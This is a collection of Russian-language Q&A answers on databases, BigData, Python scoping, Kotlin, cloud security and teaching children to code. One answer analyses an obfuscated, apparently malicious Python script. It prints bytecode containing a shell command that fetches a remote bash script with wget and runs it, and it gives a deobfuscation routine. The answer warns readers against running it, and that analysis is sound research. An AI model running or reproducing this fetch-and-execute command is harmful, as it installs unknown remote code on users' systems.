• Какие БД используют крупнейшие торговые сети для хранения заказов?

    mayton2019
    @mayton2019
    Bigdata Engineer
    Я полагаю, что такие магазины сохраняют всё, например в postgres или greenplum, а затем передают в аналитические базы (или пишут параллельно), типа в кликхаус или oracle?


    XX век прошел под флагом реляционных СУБД. Вокруг них строились все системы.
    Для любой банковской системы БД - абсолютная царица дизайна. Именно от нее шло
    техническое задание. От базы а не от Хибернейта и синтетических таблиц как щас.
    Таблицы любили. Вокруг них строили красивые теории. Модели. EAV. Подгоняли
    аппарат алгебры (Эдгар Кодд со своими формочками).

    В появлением NoSQL и стриминговых систем - пришлось всем признать что реляционка
    исчерпала возможность линейного роста. У Майкла Стоунбрейкера есть статья где
    он меряет БД под нагрузкой и доказывает что треть ресурсов CPU просто сгорает
    в блокировках и защелках и прочих механизмах синхронизации.

    Какой софт использует розничная торговля - сложно сказать. Там будет десяток систем которые
    работают просто всместе как Grid. Например сообщения от кассовых аппаратов и платежных
    систем могут в первую очередь падать в JMS/MQ систему. А уже потом процесситься и ложиться в
    БД операционного дня. И по проишествии периода - сливаться Warehouse и в BigData
    Есть еще вариант что в аналитику сразу попадают данные со стриминга. Я такое видел.
    И это не последняя часть стека. Аналитика в свою очередь является источником для всяких
    BI, витрин данных. ОЛАП-кубиков и прочее что любят смотреть и показывать на презентациях.
    С красивой инфографикой.

    Что использует Магнит - чорт его знает. Это можно поискать по всяким конференциям. Но само
    знание или название продуктов вам ни о чем не скажет. Если они используют допустим
    Kafka+Clickhouse - из этого не следует что вам это пригодится.

    Были странные архитектурные решения. Uber например пытался выжать максимальные мощности
    из Postgres и не смог. Перешел на MySQL. Видимо им было достаточно MyISAM и брали лишь
    только те фичи что надо.

    Facebook строил Rocksdb (Key-Value) с очень сильной оптимизацией по диску. Там уже было
    не R+Tree а другой тип дерева. Тоже видимо у конторы так "пригорело" что им надо было
    штучную NoSQL делать.

    СБЕР по слухам строил на Apache Ignite прослойку между Ораклом и клиентами потому что Оракл
    не справлялся с нагрузками. Впрочем я не могу это нигде доказать. Просто слышал в разговорах
    архитекторов. И это очень штучное и очень деликатоное решение. Другим оно может вообще не подойдет.
    Нужно много думать о механике инвалидации кешей.

    Хедж фонд BridgeWater строит свои хранилища ассетов на базе Amazon S3. Реально эти ребята пихают
    в С3 все что можно. И в этом есть своя стратегия. S3 стоит дешево. И масштабируется. Дешевле чем DBMS.

    Также, я думаю, что множество магазинов могут быть обслуживаться отдельными кластерами, чтобы работа всей сети не остановилась, если какая та БД выйдет из строя?

    Эту задачу тоже можно решать на разных уровнях. Мне нравится решение от Cassandra. Там все
    таблицы имеют 1-2 реплики. И убить всю систему в целом в принципе невозможно пока последний
    датацентр стоит. Но Кассандра платит за это отказом от consistency и вообще она считается не-реляционкой.
    Хотя базовый диалект SQL поддерживает. Фактически она - умный NoSQL c хорошим сетевым протоколом
    обхода сбоев и конфликтов. Кажется Netflix ее активно использует.

    Вобщем можно дизайнить системы по разному усиливая одни части и ослабляя другие.
    Это как тот треугольник дешево-медленно-дорого но в углах стоят разные качества. Например
    CAP-свойства систем. Или приоритеты. Тебе что важно. Быстро записать в БД платеж? Но при этом
    чтение оперативных данных потребует лагов. Или наоборот писать медленно зато чтоб все по ящичкам
    и по коробочкам лежало да и еще в разных копиях и вариациях.
    Ответ написан
    10 комментариев
  • С чего начать изучать BigData?

    voidnugget
    @voidnugget
    Программист-прагматик
    BigData не очень то и связана со структурами данных - в основном это разнообразные пространственные структуры, скорее больше связана с алгоритмами NLP, классификации и машинного обучения.

    В первую очередь нужно выбрать средство обработки и хранения.
    В случае с Java это HBase Cassandra
    HBase - когда пишется в базу очень много, и большинство индексов "самодельные".
    Cassandra - когда соотношение чтения / записи 4:3, так как в Cassandra уже есть средства колоночной индексации.

    В случае с реальным высоконагрузом это ScyllaDB - обладает теми же особенностями что и HBase, но С++11 и Share-nothing approach и от того в 6-7 раз шустрее.

    Для БД до 200Гб хватит банального MySQL'я c R-tree индексом и Engine Archive.
    Вот PostgreSQL при правильной настройке спокойно строит B-tree индексы для объёмов данных в 500-700Гб, что для MySQL'я непосильная задача Ну и в PostgreSQL часто приходится дописывать сишные функции агрегации и строить по ним разнообразные индексы, иногда пространственные (gin/gist).

    Вот небольшой обзор разных типов индексов.

    От себя ещё добавлю MVP-tree для поиска похожих персептивных хэшей и Fusion-tree как более съедобный вариант дерева Ван Емде Боаса.

    По поводу хипстер-культа вокруг MongoDB - скажу что PostgreSQL с индексами на хэш-таблицах и небольшими множествами документов в 1.5-3 раза шустрее, потому что "Building Index with Vodka". А нормальная репликация и партицирование напрямую зависит от принципов решения задачи Консенсуса в каждом конкретном приложении, и без понимания работы Raft / Paxos не стоит надеятся на чудеса той же MongoDB или PostgreSQL, они являются не более чем инструментами для решения этой задачи.

    MongoDB очень даже ничего для реактивных проектов на основе Meteor, а для всего остального уже GoldenHammer™.

    По индексации, надо обязательно-обязательно прочитать книги Ханны Самет
    Foundations of Multidimensional and Metric Data St... = Applications of Spatial Data Structures: Computer ... + The Design and Analysis of Spatial Data Structures

    В принципе книжки Foundations of Multidimensional and Metric Structures должно хватить с головой, но можно "дочитывать" более полное описание в более древних работах. Одним словом тётка "жжёт", и я не знаю почему это до сих пор никто не перевёл.

    Ну после того как разобрались что и где и как хранить, теперь можно думать по поводу обработки...
    Есть древняя книжка "Алгоритмы интеллектуального Интернета" и "Программируем коллективный разум" Хоть названия переведены на русский довольно странно и звучат довольно наивно - это хорошее введение в простые средства обработки и анализа данных.

    По машинному обучению можно пройти курс Эндрю Ына на курсере.

    Есть Южный DataScience-централ, там есть много чего полезного. Его можно почитывать. Есть ещё поверхностные CheetSheet'ы, видел и получше, но не нашёл.

    Как DeepLearning адепт советую разобраться с Theano, и методами описанными тут. В продакшенах эта штука до безобразия слоупочна и видел товарищей которые более-менее успешно слезли на Neon.

    Если лезть в Java, то на примере Spotify чаще всего используются связки
    Apache Kafka -> Apache HBase -> Apache Storm -> Apache Spark (mllib) -> Apache HBase -> Apache Phoenix -> Hibernate + любой MVC фреймворк и т.п.

    Естественно об относительно высокой производительности и хорошем вертикальном масштабировании речи не идёт, если брать C++11 ScyllaDB -> Neon хорошо отпрофилировать и допилить, можно получить в 3-5 раз выше производительность и соответственно гораздо меньшие задержки, но обычно всем влом. REST API под такое обычно пытаются писать на сях (без плюсов) в виде расширений под Nginx, что является довольно породистым извратом - в большинстве случаев банального golang/netty будет достаточно.

    В Hadoop стэк сейчас принято не лезть, так как он очень "заынтерпрайсян" и без хорошей поддержки и допилки со стороны вендоров в реальных проектах просто неюзабелен, по этому почти все на него, в той или иной степени, забили. Например, тот же Spotify.

    По поводу HA и Zookeeper можно увидеть много срача, особенно в Netflix'e, по этому для менеджмента высокой доступности лучше использовать именно их решения - eureka или для отказоустойчивости Hystrix. Хотя я не могу сказать что это достаточно зрелые проекты - в них тоже хватает изъянов, но они на много шустрее остальных Apache поделок.

    Нельзя делать одновременно отказоустойчивые и высокодоступные приложения - потому что CAP теорема имеет место быть.

    Ещё есть очень тонкий момент с Java в целом - нужно минимизировать время сборки мусора и лезть в offheap, стоит глянуть как реализованы буферы в netty - это arena аллокатор по типу того что используется jemalloc и различная misc.unsafe ересь. Можно ещё пробовать Hazelcast / Terracotta, но принципиально там тоже самое, только платно и "расспределённо".

    Для REST API я чаще всего использую Vert.x и ванильную Java.
    Overhead от Scala довольно таки большой, а время компиляции просто вырвиглазное.
    Для минимизации копи-пасты вполне безопасно использовать Groovy c @ Immutable и @ CompileStatic.
    Но в Vert.x'e он весь "динамичный" :|

    Я ничего не могу сказать по поводу производительности Clojure, он местами через чур invokeDynamic. Естественно что ванильная Java будет шустрее, но я без понятия на сколько.

    Желаю Вам приятного вечера.

    p.s. не везде проставил ссылки просто потому что хочу спать.
    Ответ написан
    4 комментария
  • В чем принципиальная разница в unity между private и public?

    GavriKos
    @GavriKos Куратор тега Unity
    Базы у вас нет ) Потому что это базовый вопрос даже не юнити и даже не c#, а основ программирования.

    Вы правильно поняли что это связано с инкапсуляцией и сокрытием данных. Вот и развивайте эту тему для себя. Если ОЧЕНЬ кратко - это чтобы данные в одном классе не модифицировались (скрывались) от другого класса. Именно чистая безопасность когда разрабатывает больше одного человека - чтобы Вася не перетер данные в классе Пети., потому что потом Пете это разгребать.
    Ответ написан
  • Почему флешка бъёт током?

    @nehrung
    Не забывайте кликать кнопку "Отметить решением"!
    Металлическая флешка,
    Металлический корпус вашей флэхи контачит с рамкой порта USB. Она, как правило, соединена с общим минусом питания, к которому в БП принято подключать среднюю точку помехоподавительных конденсаторов, подключённых на входе 220 вольт:
    0-1.pngЭту точку, обозначенную на схеме Gnd, полагается заземлять, но если заземления нет (например, электророзетка не 3, а 2-контактная), то из-за этого емкостного делителя напряжения на ней получается половина сетевых 220 вольт, т.е. 110. Ёмкость этих конденсаторов небольшая (несколько нанофарад), и даже в наихудшем случае ток через них будет неопасной для жизни величины (не больше долей миллиампера). Тем не менее такого тока достаточно, чтобы пощипать кожу ваших пальцев и потрепать ваши нервы.
    К этому добавлю, что так устроено электропитание любого компа, но жалуются очень немногие, у кого повышенная кожная чувствительность к электротоку. Надо полагать, что вам "повезло" - вы относитесь к этим немногим.
    Ответ написан
    6 комментариев
  • Зачем нужны методы, считывающие или вводящие примитивы?

    xez
    @xez Куратор тега Java
    TL Junior Roo
    "Текстовый файл" - это всего лишь одна из абстракций.
    Все файлы состоят в конечном счете из нулей и единичек.
    Ответ написан
    Комментировать
  • Почему отказались от оператора GoTo в высокоуровневых языках?

    saboteur_kiev
    @saboteur_kiev
    software engineer
    Никакие комьютеры не отказались от goto.
    Кроме того, это не функция, а оператор.

    Но если писать длинный код активно используя goto, в нем будет крайне сложно разобраться.
    Поэтому в некоторых языках программирования его может и не быть. Но на архитектурном уровне и низкоуровневом ассемблере, он естественно есть.
    Ответ написан
    Комментировать
  • Что означает запись в скобках сразу после инициализации?

    Maksim_64
    @Maksim_64
    Data Analyst
    Действительно, все очень просто.
    namedtuple - это функция которая возвращает объект класса namedtuple, который является подсклассом встроенного tuple. Где первый параметр, это имя типа данных. Второй это параметры.
    from collections import namedtuple
    Point = namedtuple("Point", ['x','y'])
    point = Point(2,4)
    print(point)

    Теперь представим есть некий словарь и просто перепишем в одну строчку, с распаковкой параметров '*'.
    d = {
        'x':2,
        'y':4
    }
    
    print(namedtuple('Point',d.keys())(*d.values()))

    d.keys() это коллекция ключей строк, как в пошаговом примере, *d.values() это распакованная последовательность значений.
    Ответ написан
    Комментировать
  • Как инициализировать переменную раньше функции в Python?

    Maksim_64
    @Maksim_64
    Data Analyst
    Что то ты с кодом ты напутал. Список может быть изменен из функции. Внутри функции python работает следующим образом.
    1. Первым делом python смотрит есть ли ключевое слово global

    2. Вторым есть ли ключевое слово nonlocal

    3. Третьим в параметрах, если там имя есть то переменная становится локальной.

    4. Если переменная упоминалась (но не было определена) то python смотрит на нелокальную область видимости.

    5. Если переменная упоминалась (но не было определена) и не найдено в нелокальной области видимости то смотрит в модуле

    6. Если и там не нашел то в встроенных пример max,min и т.д.

    a = 1
    b = 2
    c = 3
    
    def func():
        print(a,b,c)
    
    if __name__ == "__main__":
        func()
    Работает, как ожидается, а теперь маленькое изменение
    a = 1
    b = 2
    c = 3
    
    def func():
        print(a,b,c)
        c = 100
        print(c)
    
    if __name__ == "__main__":
        func()
    И все ошибка даже print(a,b,c) не выполнится. Потому что с находится в локальной области видимости функции python ее находит и также он находит ее упоминание (print(a,b,c)) до ее определения.

    def func():
        global c
        print(a,b,c)
        c = 100
        print(c)
    
    if __name__ == "__main__":
        func()


    Вся это проблема актуальна только для НЕ мутабельных типов например
    a = [0]
    b = [0]
    c = [0]
    
    def func():
        print(a,b,c)
        c.append(100) 
        print(c)
    
    if __name__ == "__main__":
        func()

    Все работает как и ожидается. Ну и пару слов об использовании global. Я персонально не сторонник утверждения никогда не используй global Но безусловно данная конструкция актуальна для не локальной области видимости то есть вот так.
    def func():
        total = 0
        def inner():
            nonlocal total
            total +=1
            return total
        return inner
    
    
    if __name__ == "__main__":
        add = func()
        print(add())
        print(add())
        print(add())
    Если убрать ключевое слово nonlocal то мы получим ошибку.
    Ответ написан
    Комментировать
  • Как инициализировать переменную раньше функции в Python?

    AshBlade
    @AshBlade
    Просто хочу быть счастливым
    Не используй глобальные переменные - передавай как аргумент
    Ответ написан
    5 комментариев
  • Какой SSL-сертификат лучше использовать для стэйджинга?

    Let`s Encrypt , очевидно. Я вообще не понимаю, кому сейчас нужны покупные сертификаты, кроме банков и подобных структур, где наличие покупного сертификата вписано в регулятивные правила отрасли.
    Ответ написан
    Комментировать
  • Информационная безопасность в облачных сервисах?

    CityCat4
    @CityCat4 Куратор тега Информационная безопасность
    //COPY01 EXEC PGM=IEBGENER
    преимущество использования облачных сервисов с точки зрения ИБ?

    Никаких. Как только информация покинула корпоративный периметр - ты перестал ее контролировать, следовательно твое влияние на ее защиту - нуль.
    Ты не можешь гарантировать что то, что ты видишь на экране в личном кабинете etc. - это то же самое, что происходит с информацией на самом деле. Тебе могут показать, что она супер-пупер защищена и зашифрована всеми способами, а на самом деле запросто может оказаться что к ней имеет доступ любой сотрудник этого самого сервиса. Или даже сервис ее просто удалил из неких соображений.

    Вот например

    В облаке можно хранить:
    - рекламу, ролики по продвижению продукции
    - материалы, утеря которых малоценна
    Ответ написан
    7 комментариев
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев
  • Какие знаниями java нужно обладать чтобы переходить на kotlin?

    402d
    @402d
    начинал с бейсика на УКНЦ в 1988
    Знаю яву и не фига не понимаю в котлин коде.
    Смотришь в код и ничего знакомого
    data class CoverFront
    constructor(
        /** May contain any keyword from [CoverType]. */
        var coverType: String? = null,
        /** May contain any keyword from [Media] or a name. */
        var media: KeywordOrName? = null,
        var mediaCol: MediaCol? = null,
    ) : AttributeCollection {
    
        /** Construct an empty [CoverFront]. */
        constructor() : this(null)
    
        /** Produce an attribute list from members. */
        override val attributes: List<Attribute<*>>
            get() = listOfNotNull(
                coverType?.let { CoverFront.coverType.of(it) },
                media?.let { CoverFront.media.of(it) },
                mediaCol?.let { CoverFront.mediaCol.of(it) },
            )
    
        /** Defines types for each member of [CoverFront]. */
        companion object : AttributeCollection.Converter<CoverFront> {
            override fun convert(attributes: List<Attribute<*>>): CoverFront =
                CoverFront(
                    extractOne(attributes, coverType),
                    extractOne(attributes, media),
                    extractOne(attributes, mediaCol),
                )
            override val cls = CoverFront::class.java
            @Deprecated("Remove this symbol")
            @JvmField val Types = this
            @JvmField val coverType = KeywordType("cover-type")
            @JvmField val media = KeywordOrNameType("media")
            @JvmField val mediaCol = AttributeCollection.Type("media-col", MediaCol)
        }
        override fun toString() = "CoverFront(${attributes.joinToString()})"
    }

    Например, что тут похоже на яву ?
    Только дополнительные костыли для того, чтобы этот класс можно было использовать в java части приложения.

    Знание java & kotlin нужно для написания универсального кода. А так только мешает. Синтаксический сахар разный. Общих моментов меньше чем того что различается.
    Ответ написан
    4 комментария
  • Как передавать ArrayList между фрагментами?

    402d
    @402d
    начинал с бейсика на УКНЦ в 1988
    Сделай сиглетон. Если для работы нужен context, то инициализируй через статический метод в классе Application.
    Ну а вместо Map используй Mutable или просто LiveData.

    Можешь даже класс реализуещий это назвать MyModel :)
    Ответ написан
    1 комментарий
  • Как гуглу удаётся работать так быстро? Какая у него память?

    @Everything_is_bad
    Считаю: 2,050,000 * примерно 512 байт на результат = примерно 1 ГБ = 8Гбит.
    а с чего ты так решил считать? Почему тут не учитывается параллельность, а так же, то что для "About 2,050,000 results (0.29 seconds)" не нужно точных вычислений, достаточно аппроксимации
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    @Drno
    Если идёт нормально - почему бы и нет. универсальность жеж...
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    @ewgenc
    Мой младший на Lua “кодит” в Майнкрафте с помощью мода ComputerCraft. Все очень примитивно, но сама игровая форма ему нравится.
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    saboteur_kiev
    @saboteur_kiev Куратор тега IT-образование
    software engineer
    С одной стороны можно и Питон.
    Но на пальцах поясните что такое байты, что такое память, как в памяти хранятся разные типы данных.

    Эх. В свое время было легко пояснять на примере спектрума с его линейной адресацией и прямым доступом к экранной памяти, где можно было биты "посмотреть"
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    @dmshar
    Да, вы сами себе придумали проблему.
    Во-первых, а какая альтернатива сегодня? Не с С++ же начинать в 11 лет. С другой стороны, есть, конечно Scratch - но как по мне, это просто тупиковая ветвь.
    Во-вторых, есть известная книга Д. Бриггс "Python для детей. Самоучитель по программированию" где такие методологические вопросы уже решены.
    В-третьих, я так и не понял, а чем отсутствие строгой типизации мешает освоению программирования в 11 (!!!) лет? Вы действительно полагаете, что в таком возрасте ребенок будет способен писать приложения, в которых это играет ключевую роль?
    Так в Python и указателей нет. И что? Зато там есть много фишек, которые и упрощают сам процесс понимания, что ребенок делает, и позволяют на готовый результат посмотреть гораздо быстрее, чем при программировании на любом другом языке. А для детей - это самое то, что нужно.
    Но вы, безусловно, молодец, что приобщаете ребенка с измальства. Главное - делать это так, что-бы ему постоянно самому было интересно.
    Ответ написан
    Комментировать
  • Подходит ли Python для первого языка ребёнку?

    AshBlade
    @AshBlade
    Просто хочу быть счастливым
    Зависит от целей:
    - Если нужно просто познакомить с программированием - алгоритмы, логика, - то паскаль сойдет
    - Если хотите дать более фундаментальные знания - то тут уже C/C++ (щадящие версии)

    Я бы не начинал с питона:
    - Сложный переход на другие ЯП
    - Слабое понимание работы компьютеры (типы и т.д.)
    - Непонятные сообщения об ошибках
    Ответ написан
    1 комментарий